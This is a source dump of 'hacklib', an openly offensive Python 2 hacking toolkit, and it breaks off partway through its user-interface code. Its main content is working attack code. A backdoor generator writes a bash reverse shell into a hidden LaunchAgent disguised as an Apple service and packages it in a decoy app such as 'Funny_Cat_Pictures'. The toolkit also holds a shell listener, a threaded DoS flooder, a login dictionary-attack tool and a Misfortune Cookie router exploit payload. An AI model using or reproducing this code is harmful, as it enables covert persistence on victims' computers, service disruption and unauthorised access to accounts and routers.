├── LICENSE ├── README.md ├── __init__.py └── hacklib.py /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Leon Li (leon@apolyse.com) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hacklib 2 | ![MIT License](https://img.shields.io/github/license/mashape/apistatus.svg) 3 | [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) 4 | ##### Toolkit for hacking enthusiasts using Python. 5 | hacklib is a Python module for hacking enthusiasts interested in network security. It is no longer in active development. 6 | 7 | 8 | #### Installation 9 | To get hacklib, simply run in command line: 10 | ```console 11 | pip install hacklib 12 | ``` 13 | 14 | 15 | hacklib also has a user interface. To use it, you can do one of the following: 16 | 17 | Download hacklib.py and run in console: 18 | ```console 19 | python hacklib.py 20 | ---------------------------------------------- 21 | Hey. What can I do you for? 22 | 23 | 24 | Enter the number corresponding to your choice. 25 | 26 | 1) Connect to a proxy 27 | 2) Target an IP or URL 28 | 3) Lan Scan 29 | 4) Create Backdoor 30 | 5) Server 31 | 6) Exit 32 | 33 | ``` 34 | Or if you got it using pip: 35 | 36 | ```python 37 | import hacklib 38 | hacklib.userInterface() 39 | ``` 40 | 41 | 42 | #### Usage Examples 43 | Reverse shell backdooring (Currently only for Macs): 44 | ```python 45 | import hacklib 46 | 47 | bd = hacklib.Backdoor() 48 | # Generates an app that, when ran, drops a persistent reverse shell into the system. 49 | bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures') 50 | # Takes the IP and port of the command server, the OS of the target, and the name of the .app 51 | ``` 52 | Generated App: 53 | 54 | ![Screenshot](http://i.imgur.com/BsBzCWA.png) 55 | 56 | Listen for connections with Server: 57 | ```python 58 | >>> import hacklib 59 | >>> s = hacklib.Server(9090) # Bind server to port 9090 60 | >>> s.listen() 61 | New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds) 62 | bash: no job control in this shell 63 | bash$ whoami # Type a command 64 | leon 65 | bash$ # Nice! 66 | ``` 67 | 68 | Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins: 69 | 70 | ```python 71 | import hacklib 72 | 73 | ac = hacklib.AuthClient() 74 | # Logging into a gmail account 75 | htmldata = ac.login('https://gmail.com', 'email', 'password') 76 | 77 | # Check for a string in the resulting page 78 | if 'Inbox' in htmldata: print 'Login Success.' 79 | else: print 'Login Failed.' 80 | 81 | # For logins using HTTP Basic Auth: 82 | try: 83 | htmldata = ac.login('http://somewebsite.com', 'admin', 'password') 84 | except: pass #login failed 85 | ``` 86 | Simple dictionary attack using AuthClient: 87 | ```python 88 | import hacklib 89 | 90 | ac = hacklib.AuthClient() 91 | # Get the top 100 most common passwords 92 | passwords = hacklib.topPasswords(100) 93 | 94 | for p in passwords: 95 | htmldata = ac.login('http://yourwebsite.com/login', 'admin', p) 96 | if htmldata and 'welcome' in htmldata.lower(): 97 | print 'Password is', p 98 | break 99 | ``` 100 | 101 | Port Scanning: 102 | ```python 103 | from hacklib import * 104 | 105 | ps = PortScanner() 106 | ps.scan(getIP('yourwebsite.com')) 107 | # By default scans the first 1024 ports. Use ps.scan(IP, port_range=(n1, n2), timeout=i) to change default 108 | 109 | # After a scan, open ports are saved within ps for reference 110 | if ps.portOpen(80): 111 | # Establish a TCP stream and sends a message 112 | send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n') 113 | ``` 114 | 115 | Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner: 116 | ```python 117 | >>> import hacklib 118 | 119 | # Discovery 120 | >>> ps = hacklib.PortScanner() 121 | >>> ps.scan('192.168.1.1', (80, 81)) 122 | Port 80: 123 | HTTP/1.1 200 124 | Content-Type: text/html 125 | Transfer-Encoding: chunked 126 | Server: RomPager/4.07 UPnP/1.0 127 | EXT: 128 | # The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable. 129 | 130 | # Exploitation 131 | >>> payload = '''GET / HTTP/1.0\r\n 132 | Host: 192.168.1.1 133 | User-Agent: googlebot 134 | Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8 135 | Accept-Language: en-US, en; q=0.5 136 | Accept-Encoding: gzip, deflate 137 | Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n' 138 | >>> hacklib.send('192.168.1.1', 80, payload) 139 | # The cookie replaced the firmware's memory allocation for web authentication with a null bye. 140 | # The router's admin page is now fully accessible from any web browser. 141 | ``` 142 | 143 | FTP authentication: 144 | ```python 145 | import hacklib 146 | ftp = hacklib.FTPAuth('127.0.0.1', 21) 147 | try: 148 | ftp.login('username', 'password') 149 | except: 150 | print 'Login failed.' 151 | ``` 152 | 153 | Socks4/5 proxy scraping and tunneling 154 | ```python 155 | >>> import hacklib 156 | >>> import urllib2 157 | >>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet 158 | >>> proxy = hacklib.Proxy() 159 | >>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist 160 | >>> proxy.IP 161 | u'41.203.214.58' 162 | >>> proxy.port 163 | 65000 164 | >>> proxy.country 165 | u'KE' 166 | # All Python network activity across all modules are routed through the proxy: 167 | >>> urllib2.urlopen('http://icanhazip.com/').read() 168 | '41.203.214.58\n' 169 | # Notes: Only network activity via Python are masked by the proxy. 170 | # Network activity on other programs such as your webbrowser remain unmasked. 171 | # To filter proxies by country and type: 172 | # proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5') 173 | ``` 174 | 175 | Word Mangling: 176 | 177 | ```python 178 | from hacklib import * 179 | 180 | word = Mangle("Test", 0, 10, 1990, 2016) 181 | 182 | word.Leet() 183 | word.Numbers() 184 | word.Years() 185 | ``` 186 | Output: 187 | 188 | ``` 189 | T3$t 190 | Test0 191 | 0Test 192 | ...snip... 193 | Test10 194 | 10Test 195 | Test1990 196 | 1990Test 197 | ...snip... 198 | Test2016 199 | 2016Test 200 | ``` 201 | 202 | Pattern Create: 203 | 204 | ```python 205 | from hacklib import * 206 | 207 | Pattern = PatternCreate(100) 208 | 209 | Pattern.generate() 210 | ``` 211 | Output: 212 | 213 | ``` 214 | Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A 215 | ``` 216 | 217 | Pattern Offset: 218 | 219 | ```python 220 | from hacklib import * 221 | 222 | Offset = PatternOffset("6Ab7") 223 | 224 | Offset.find() 225 | ``` 226 | Output: 227 | 228 | ```python 229 | [+] Offset: 50 230 | ``` 231 | 232 | #### Dependencies 233 | Not all classes have external dependencies, but just in case you can do the following: 234 | ```python 235 | hacklib.installDependencies() 236 | ``` 237 | 238 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | from hacklib import * 2 | -------------------------------------------------------------------------------- /hacklib.py: -------------------------------------------------------------------------------- 1 | '''The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Leon Li (leon@apolyse.com) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and 6 | associated documentation files (the "Software"), to deal in the Software without restriction, including 7 | without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in all copies or substantial 12 | portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, 15 | INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A 16 | PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 17 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF 18 | CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 19 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.''' 20 | 21 | import socket 22 | import threading 23 | import time 24 | import urllib2 25 | import os 26 | from Queue import Queue 27 | try: # Import scapy if they have it. If they don't, they can still use hacklib 28 | from scapy.all import * 29 | import logging 30 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Fixes scapy logging error 31 | except: 32 | pass 33 | from string import ascii_uppercase, ascii_lowercase, digits # Import for PatternCreate and PatternOffset 34 | 35 | 36 | class Backdoor(object): 37 | '''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX. 38 | Payloads for Windows and Linux coming soon.''' 39 | 40 | def __init__(self): 41 | self.IP = '' 42 | self.port = '' 43 | self.osx_payload = '''#!/bin/bash 44 | mkdir ~/Library/.h 45 | echo '#!/bin/bash 46 | bash -i >& /dev/tcp/HOST/PORT 0>&1 47 | wait' > ~/Library/.h/connect.sh 48 | chmod +x ~/Library/.h/connect.sh 49 | echo ' 50 | 51 | Label 52 | com.apples.services 53 | ProgramArguments 54 | 55 | /bin/sh 56 | '$HOME'/Library/.h/connect.sh 57 | 58 | RunAtLoad 59 | 60 | StartInterval 61 | 60 62 | AbandonProcessGroup 63 | 64 | 65 | ' > ~/Library/LaunchAgents/com.apples.services.plist 66 | chmod 600 ~/Library/LaunchAgents/com.apples.services.plist 67 | launchctl load ~/Library/LaunchAgents/com.apples.services.plist 68 | exit 69 | ''' 70 | 71 | def create(self, IP, port, OS, appname='funny_cats'): 72 | '''Creates a user-level reverse shell.''' 73 | 74 | if OS == 'OSX': 75 | self.osx_payload = self.osx_payload.replace('HOST', IP).replace('PORT', str(port)) 76 | try: 77 | os.makedirs(os.getcwd() + '/' + appname + '.app/Contents/MacOS') 78 | except: 79 | pass 80 | payload_path = os.getcwd() + '/' + appname + '.app/Contents/MacOS/' + appname 81 | with open(payload_path, 'w') as f: 82 | f.write(self.osx_payload) 83 | import subprocess 84 | subprocess.Popen(['chmod', '755', payload_path]) 85 | print 'Payload saved to ' + os.getcwd() + '/' + appname + '.app' 86 | 87 | 88 | class Server(object): 89 | 90 | def __init__(self, port): 91 | import socket 92 | self.port = port 93 | self.address = ('', port) 94 | 95 | def listen(self): 96 | import time 97 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 98 | sock.bind(self.address) 99 | sock.listen(1) 100 | while True: 101 | connection, cAddress = sock.accept() 102 | try: 103 | print 'New connection', cAddress 104 | while True: 105 | data = connection.recv(32768) 106 | if data: 107 | print '\n'.join(data.split('\n')[:-1]) 108 | response = raw_input('bash$ ') 109 | data = None 110 | if response: 111 | connection.sendall(response + '\n') 112 | time.sleep(0.5) 113 | finally: 114 | connection.close() 115 | 116 | 117 | class FTPAuth(object): 118 | '''FTP login and command handler. 119 | Commands: 120 | login() Args: username, password 121 | send() Args: message 122 | ''' 123 | 124 | def __init__(self, IP, port=21): 125 | self.IP = IP 126 | self.port = port 127 | self.username = '' 128 | self.password = '' 129 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 130 | self.s.settimeout(5) 131 | self.s.connect((self.IP, self.port)) 132 | self.s.recv(1024) 133 | 134 | def _send(self, message): 135 | self.s.send(message) 136 | response = self.s.recv(32768) 137 | return response 138 | 139 | def send(self, message): 140 | self.s.send(message + '\r\n') 141 | while True: 142 | response = self.s.recv(32768) 143 | if response: 144 | return response 145 | 146 | def login(self, username, password): 147 | self._send('USER ' + username + '\r\n') 148 | response = self._send('PASS ' + password + '\r\n') 149 | if '230' in response: 150 | return 151 | elif '331' in response: 152 | return 'Password required' 153 | else: 154 | raise Exception(response) 155 | 156 | 157 | class AuthClient(object): 158 | '''Universal login tool for most login pages as well as HTTP Basic Authentication. 159 | Commands: 160 | login() Args: url, username, password 161 | ''' 162 | 163 | def __init__(self): 164 | self.url = '' 165 | self.username = '' 166 | self.password = '' 167 | 168 | def _get_login_type(self): 169 | try: 170 | # Attempts to urlopen target URL without exception 171 | data = urllib2.urlopen(self.url) 172 | return 'FORM' 173 | except Exception, e: 174 | if 'error 401' in str(e).lower(): 175 | return 'BA' 176 | if 'timed out' in str(e).lower(): 177 | return 'TO' 178 | 179 | def _login_mechanize(self): 180 | try: 181 | import mechanize 182 | except: 183 | raise MissingPackageException('Please install the mechanize module before continuing.') 184 | # Sets up common input names/ids and creates instance of mechanize.Browser() 185 | userfields = ['user', 'username', 'usr', 'email', 'name', 'login', 'userid', 'userid-input', 'player'] 186 | passfields = ['pass', 'password', 'passwd', 'pw', 'pwd'] 187 | br = mechanize.Browser() 188 | br.set_handle_robots(False) 189 | br.set_handle_refresh(False) 190 | br.addheaders = [('User-agent', 'googlebot')] 191 | # Opens URL and lists controls 192 | response = br.open(self.url) 193 | loginurl = response.geturl() 194 | br.form = list(br.forms())[0] 195 | username_control = '' 196 | password_control = '' 197 | # Locates username and password input, and submits login info 198 | for control in br.form.controls: 199 | if control.name and control.name.lower() in userfields or control.id and control.id.lower() in userfields: 200 | username_control = control 201 | if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: 202 | password_control = control 203 | username_control.value = self.username 204 | try: 205 | password_control.value = self.password 206 | except: 207 | # Detected a username input but not a password input. 208 | # Submits form with username and attempts to detect password input in resulting page 209 | response = br.submit() 210 | br.form = list(br.forms())[0] 211 | for control in br.form.controls: 212 | if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: 213 | password_control = control 214 | password_control.value = self.password 215 | response = br.submit() 216 | # Returns response if the URL is changed. Assumes login failure if URL is the same 217 | if response.geturl() != loginurl: 218 | return response.read() 219 | else: 220 | raise Exception('Login credentials incorrect.') 221 | 222 | def _login_BA(self): 223 | try: 224 | # Creates a PasswordMgr instance 225 | passmanager = urllib2.HTTPPasswordMgrWithDefaultRealm() 226 | passmanager.add_password(None, self.url, self.username, self.password) 227 | # Creates an auth handling object and builds it with opener 228 | auth = urllib2.HTTPBasicAuthHandler(passmanager) 229 | opener = urllib2.build_opener(auth) 230 | response = opener.open(self.url, timeout=8) 231 | data = response.read() 232 | response.close() 233 | return data 234 | except Exception, e: 235 | if 'Error 401' in str(e): 236 | raise Exception('Login credentials incorrect.') 237 | 238 | def login(self, url, username, password): 239 | self.url = url 240 | self.username = username 241 | self.password = password 242 | # ascertain the type of login page given by url 243 | logintype = self. _get_login_type() 244 | if logintype == 'BA': 245 | # attempts to login with BA method and return html 246 | return self._login_BA() 247 | if logintype == 'TO': 248 | raise Exception('Request timed out.') 249 | if logintype == 'FORM': 250 | return self._login_mechanize() 251 | 252 | 253 | class DOSer(object): 254 | '''Hits a host with GET requests on default port 80 from multiple threads. 255 | Commands: 256 | launch() Args: host, duration, threads(default 1), port(default 80), 257 | payload(default crocodile) 258 | ''' 259 | 260 | def __init__(self): 261 | self.target = '127.0.0.1' 262 | self.port = 80 263 | self.threads = 1 264 | self.payload = '?INTERIORCROCODILEALLIGATORIDRIVEACHEVROLETMOVIETHEATER' 265 | self.start_time = 0 266 | self.time_length = 1 267 | 268 | def _attack(self, target): 269 | # Sends GET requests for time_length duration 270 | while int(time.time()) < self.start_time + self.time_length: 271 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 272 | s.settimeout(1) 273 | try: 274 | s.connect((self.target, self.port)) 275 | s.send("GET /" + self.payload + " HTTP/1.1\r\n") 276 | s.send("Host: " + self.target + "\r\n\r\n") 277 | except: 278 | pass 279 | 280 | def _threader(self): 281 | while True: 282 | self.worker = self.q.get() 283 | self._attack(self.worker) 284 | self.q.task_done() 285 | 286 | def launch(self, host, duration, threads=1, port=80, payload='default'): 287 | '''Launches threaded GET requests for (duration) seconds. 288 | ''' 289 | self.target = host 290 | self.port = port 291 | self.threads = threads 292 | self.start_time = int(time.time()) 293 | self.time_length = duration 294 | if payload != 'default': 295 | self.payload = payload 296 | # Creates queue to hold each thread 297 | self.q = Queue.Queue() 298 | #print '> Launching ' + str(threads) + ' threads for ' + str(duration) + ' seconds.' 299 | for i in range(threads): 300 | t = threading.Thread(target=self._threader) 301 | t.daemon = True 302 | t.start() 303 | # Adds workers to queue 304 | for worker in range(0, threads): 305 | self.q.put(worker) 306 | 307 | self.q.join() 308 | return 309 | 310 | 311 | class PortScanner(object): 312 | '''Scan an IP address using scan(host) with default port range 1-1024. 313 | Commands: 314 | scan() Args: IP, port_range(default 1024), timeout(default 1), verbose(default True) 315 | ''' 316 | 317 | def __init__(self): 318 | self.IP = '127.0.0.1' 319 | self.port_range = '1025' 320 | self.print_lock = threading.Lock() 321 | self.timeout = 2 322 | self.openlist = [] 323 | self.verbose = True 324 | 325 | def _portscan(self, port): 326 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 327 | s.settimeout(self.timeout) 328 | # Tries to establish a connection to port, and append to list of open ports 329 | try: 330 | con = s.connect((self.IP, port)) 331 | response = s.recv(1024) 332 | self.openlist.append(port) 333 | if self.verbose: 334 | with self.print_lock: 335 | print 'Port', str(port) + ':' 336 | print response 337 | s.close() 338 | # If the connection fails, tries to establish HTTP connection if port is a common HTTP port 339 | except Exception, e: 340 | httplist = [80, 81, 443, 1900, 2082, 2083, 8080, 8443] 341 | if port in httplist: 342 | try: 343 | headers = '''GET /HTTP/1.1 344 | Host: ''' + self.IP + ''' 345 | User-Agent: googlebot 346 | Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8 347 | Accept-Language: en-US, en; q=0.5 348 | Accept-Encoding: gzip, deflate''' + '\r\n\r\n' 349 | s.send(headers) 350 | response = s.recv(1024) 351 | response = response.splitlines() 352 | response = '\n'.join(response[:7]) 353 | self.openlist.append(port) 354 | if self.verbose: 355 | with self.print_lock: 356 | print 'Port', str(port) + ':' 357 | print response 358 | s.close() 359 | except: 360 | pass 361 | 362 | def portOpen(self, port): 363 | if port in self.openlist: 364 | return 365 | else: 366 | return False 367 | 368 | def _threader(self): 369 | while True: 370 | self.worker = self.q.get() 371 | self._portscan(self.worker) 372 | self.q.task_done() 373 | 374 | def scan(self, IP, port_range=(1, 1025), timeout=1, verbose=True): 375 | '''Scans ports of an IP address. Use getIP() to find IP address of host. 376 | ''' 377 | self.openlist = [] 378 | self.IP = IP 379 | self.port_range = port_range 380 | self.timeout = 1 381 | # Creates queue to hold each thread 382 | self.q = Queue.Queue() 383 | for x in range(30): 384 | t = threading.Thread(target=self._threader) 385 | t.daemon = True 386 | t.start() 387 | # Adds workers to queue 388 | for worker in range(port_range[0], port_range[1]): 389 | self.q.put(worker) 390 | 391 | self.q.join() 392 | 393 | 394 | class LanScanner(object): 395 | '''Scans local devices on your LAN network. 396 | Commands: 397 | scan() Args: host_range(default (1, 255)) 398 | ''' 399 | 400 | def __init__(self): 401 | self.host_range = [] 402 | self.alive_hosts = [] 403 | self.localIP = '' 404 | 405 | def _threader(self): 406 | while True: 407 | self.worker = self.q.get() 408 | self._scan(self.worker) 409 | self.q.task_done() 410 | 411 | def _scan(self, host): 412 | import subprocess 413 | try: 414 | resp = subprocess.check_output(['ping', '-c1', '-W90', host]) 415 | self.alive_hosts.append(host) 416 | except: 417 | return 418 | 419 | def getLocalIP(self): 420 | import subprocess 421 | proc = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE, shell=True) 422 | (out, err) = proc.communicate() 423 | data = out.splitlines() 424 | for line in data: 425 | if 'inet ' in line and '127.' not in line: 426 | return line.split(' ')[1] 427 | 428 | def scan(self, h_range=(1, 255)): 429 | # Finds local IP first in order to determine IP range of local network 430 | localip = self.getLocalIP() 431 | stub = '.'.join(localip.split('.')[:-1]) 432 | # Adds list of possible local hosts to self.range_range 433 | for i in range(h_range[0], h_range[1]): 434 | self.host_range.append(stub + '.' + str(i)) 435 | self.q = Queue.Queue() 436 | # Launches 100 threads to ping 254 potential hosts 437 | for x in range(100): 438 | t = threading.Thread(target=self._threader) 439 | t.daemon = True 440 | t.start() 441 | for worker in self.host_range: 442 | self.q.put(worker) 443 | self.q.join() 444 | return list(set(self.alive_hosts)) 445 | 446 | 447 | class _Getch: 448 | """Gets a single character from standard input. Does not echo to the 449 | screen.""" 450 | 451 | def __init__(self): 452 | try: 453 | self.impl = _GetchWindows() 454 | except ImportError: 455 | try: 456 | self.impl = _GetchUnix() 457 | except ImportError: 458 | self.impl = _GetchMacCarbon() 459 | 460 | def __call__(self): return self.impl() 461 | 462 | 463 | class _GetchUnix: 464 | def __init__(self): 465 | import tty 466 | import sys 467 | import termios 468 | 469 | def __call__(self): 470 | import sys 471 | import tty 472 | import termios 473 | try: 474 | fd = sys.stdin.fileno() 475 | old_settings = termios.tcgetattr(fd) 476 | try: 477 | tty.setraw(sys.stdin.fileno()) 478 | ch = sys.stdin.read(1) 479 | finally: 480 | termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) 481 | return ch 482 | except: 483 | return raw_input('> ') 484 | 485 | 486 | class _GetchWindows: 487 | def __init__(self): 488 | import msvcrt 489 | 490 | def __call__(self): 491 | try: 492 | import msvcrt 493 | return msvcrt.getch() 494 | except: 495 | return raw_input('> ') 496 | 497 | 498 | class Proxy(object): 499 | '''Can work in conjunction with getProxies() to tunnel all 500 | network activity in the Python script through a Socks4/5 proxy. 501 | Commands: 502 | connect() Args: getProxies(), timeout=10 503 | connect_manual() Args: IP, port, proxy_type 504 | ''' 505 | 506 | def __init__(self): 507 | self.IP = '' 508 | self.port = '' 509 | self.proxy_type = '' 510 | self.country = '' 511 | self._socksfile = urllib2.urlopen('https://raw.githubusercontent.com/Anorov/PySocks/master/socks.py').read() 512 | global socks 513 | # Dynamically import socks.py from the internet 514 | socks = importFromString(self._socksfile, 'socks') 515 | 516 | def connect(self, proxies, timeout=10): 517 | for proxy in proxies: 518 | if proxy[4] == 'Socks4': 519 | self.proxy_type = socks.PROXY_TYPE_SOCKS4 520 | else: 521 | self.proxy_type = socks.PROXY_TYPE_SOCKS5 522 | try: 523 | # Sets the socket.socket class to the socks module's socksocket class 524 | socks.setdefaultproxy(self.proxy_type, proxy[0], int(proxy[1])) 525 | socket.socket = socks.socksocket 526 | # Tests to see if the proxy can open a webpage 527 | currentIP = urllib2.urlopen('http://icanhazip.com/', timeout=timeout).read().split()[0] 528 | self.IP = proxy[0] 529 | self.port = int(proxy[1]) 530 | self.country = proxy[2] 531 | return 532 | except: 533 | pass 534 | raise Exception('Couldn\'t connect to any proxies.') 535 | 536 | def connect_manual(IP, port, proxy_type='Socks5'): 537 | if proxy_type == 'Socks4': 538 | self.proxy_type = socks.PROXY_TYPE_SOCKS4 539 | else: 540 | self.proxy_type = socks.PROXY_TYPE_SOCKS5 541 | try: 542 | socks.setdefaultproxy(self.proxy_type, IP, port) 543 | socket.socket = socks.socksocket 544 | currentIP = urllib2.urlopen('http://icanhazip.com/').read().split()[0] 545 | self.IP = IP 546 | self.port = port 547 | return currentIP 548 | except: 549 | raise Exception('Connection failed.') 550 | 551 | 552 | def importFromString(code, name): 553 | """Import dynamically generated code as a module. 554 | Args: code: a string, a file handle, or a compiled binary 555 | name: the name of the module 556 | """ 557 | import sys 558 | import imp 559 | module = imp.new_module(name) 560 | exec code in module.__dict__ 561 | return module 562 | 563 | 564 | def getIP(host): 565 | return socket.gethostbyname(host) 566 | 567 | 568 | def randomIP(): 569 | import struct 570 | return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) 571 | 572 | 573 | def getProxies(country_filter='ALL', proxy_type=('Socks4', 'Socks5')): 574 | '''Gets list of recently tested Socks4/5 proxies. 575 | Return format is as follows: 576 | [IP, Port, Country Code, Country, Proxy Type, Anonymous, Yes/No, Last Checked] 577 | Args: country_filter: Specify country codes within a tuple, e.g. ('US', 'MX') 578 | proxy_type: Specify whic Socks version to use, e.g. 'Socks5' 579 | ''' 580 | try: 581 | import mechanize 582 | except: 583 | raise MissingPackageException('Please install the mechanize module before continuing. Use hacklib.installDependencies()') 584 | try: 585 | from bs4 import BeautifulSoup 586 | except: 587 | raise MissingPackageException('Please install the beautifulsoup4 module before continuing. Use hacklib.installDependencies()') 588 | br = mechanize.Browser() 589 | br.set_handle_robots(False) 590 | br.addheaders = [('User-agent', 'googlebot')] 591 | data = br.open('http://www.socks-proxy.net').read() 592 | soup = BeautifulSoup(data, 'html.parser') 593 | proxylist = [] 594 | table = soup.find('table') 595 | tbody = table.find('tbody') 596 | rows = tbody.find_all('tr') 597 | for row in rows: 598 | cols = row.find_all('td') 599 | cols = [ele.text.strip() for ele in cols] 600 | proxylist.append([ele for ele in cols if ele]) 601 | filteredlist = [] 602 | if not country_filter == 'ALL': 603 | for proxy in proxylist: 604 | if proxy[2] in country_filter: 605 | filteredlist.append(proxy) 606 | proxylist = filteredlist 607 | filteredlist = [] 608 | if not proxy_type == ('Socks4', 'Socks5'): 609 | for proxy in proxylist: 610 | if not country_filter == 'ALL': 611 | if proxy[4] in proxy_type and proxy[2] in country_filter: 612 | filteredlist.append(proxy) 613 | else: 614 | if proxy[4] in proxy_type: 615 | filteredlist.append(proxy) 616 | proxylist = filteredlist 617 | return proxylist 618 | 619 | 620 | def installDependencies(): 621 | import subprocess 622 | mech = subprocess.check_output(['/usr/local/bin/pip', 'install', 'mechanize']) 623 | if 'successfully installed' in mech: 624 | print 'Installed mechanize' 625 | beaut = subprocess.check_output(['/usr/local/bin/pip', 'install', 'bs4']) 626 | if 'successfully installed' in beaut: 627 | print 'Installed beautifulsoup' 628 | scapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'scapy']) 629 | if 'successfully installed' in scapy: 630 | print 'Installed scapy' 631 | pcapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'pcapy']) 632 | if 'successfully installed' in pcapy: 633 | print 'Installed pcapy' 634 | 635 | 636 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 637 | 638 | 639 | def send(IP, port, message, keepalive=False): 640 | '''Creates new socket and sends a TCP message. If keepalive is true, use hacklib.sock 641 | to handle socket and hacklib.sock.close() when finished. 642 | ''' 643 | if keepalive: 644 | global sock 645 | else: 646 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 647 | sock.connect((IP, port)) 648 | sock.send(message) 649 | response = sock.recv(2048) 650 | if not keepalive: 651 | sock.close() 652 | return response 653 | 654 | 655 | def ping(host): 656 | """Pings a host and returns true if the host exists. 657 | """ 658 | import os 659 | import platform 660 | ping_str = "-n 1" if platform.system().lower() == "windows" else "-c 1" 661 | return os.system("ping " + ping_str + " " + host) == 0 662 | 663 | 664 | def topPasswords(amount): 665 | '''Get up to 100,000 most common passwords. 666 | ''' 667 | url = 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt' 668 | passlist = urllib2.urlopen(url).read().split('\n') 669 | return passlist[:amount] 670 | 671 | 672 | def uiPortScan(address): 673 | print '' 674 | print '1) default scan (port range 1-1024)' 675 | print '2) custom range' 676 | ink = _Getch() 677 | cmd = ink() 678 | ps = PortScanner() 679 | print 'Beginning port scan.' 680 | if cmd == '1': 681 | ps.scan(address) 682 | if cmd == '2': 683 | s_port = raw_input('Input starting port > ') 684 | e_port = raw_input('Input end port >') 685 | ps.scan(address, (int(s_port), int(e_port))) 686 | print 'Port scan complete.' 687 | 688 | 689 | def uiDOS(address): 690 | dos = DOSer() 691 | print '' 692 | duration = raw_input('Duration > ') 693 | threads = raw_input('Threads > ') 694 | port = int(raw_input('Port > ')) 695 | payload = raw_input('Payload > ') 696 | print 'Launching DOS attack' 697 | dos.launch(address, duration, threads, port, payload) 698 | 699 | 700 | def uiTCPMessage(address): 701 | print '' 702 | port = int(raw_input('Input port >')) 703 | message = raw_input('Message > ') 704 | send(address, port, message) 705 | 706 | 707 | def uiLogin(address): 708 | print '' 709 | print 'Select login type' 710 | print '1) HTTP/Form login' 711 | print '2) FTP login' 712 | print '3) Exit' 713 | print '' 714 | ink = _Getch() 715 | cmd = ink() 716 | if cmd == '1': 717 | ac = AuthClient() 718 | print '1) Dictionary attack' 719 | print '2) Exit' 720 | ink = _Getch() 721 | cmd = ink() 722 | if cmd == '1': 723 | username = raw_input('Username > ') 724 | print '1) Try most common passwords' 725 | print '2) Import password list (separated by newline)' 726 | cmd = ink() 727 | if cmd == '1': 728 | print 'Try the top out of 100,000 most common passwords:' 729 | num = int(raw_input('> ')) 730 | passwords = topPasswords(num) 731 | if cmd == '2': 732 | passfile = raw_input('Filepath > ') 733 | with open(passfile, 'r') as f: 734 | passwords = passfile.read().splitlines() 735 | print 'Input a unique string the webpage may respond with if login fails' 736 | print 'i.e. "please try again" or "login 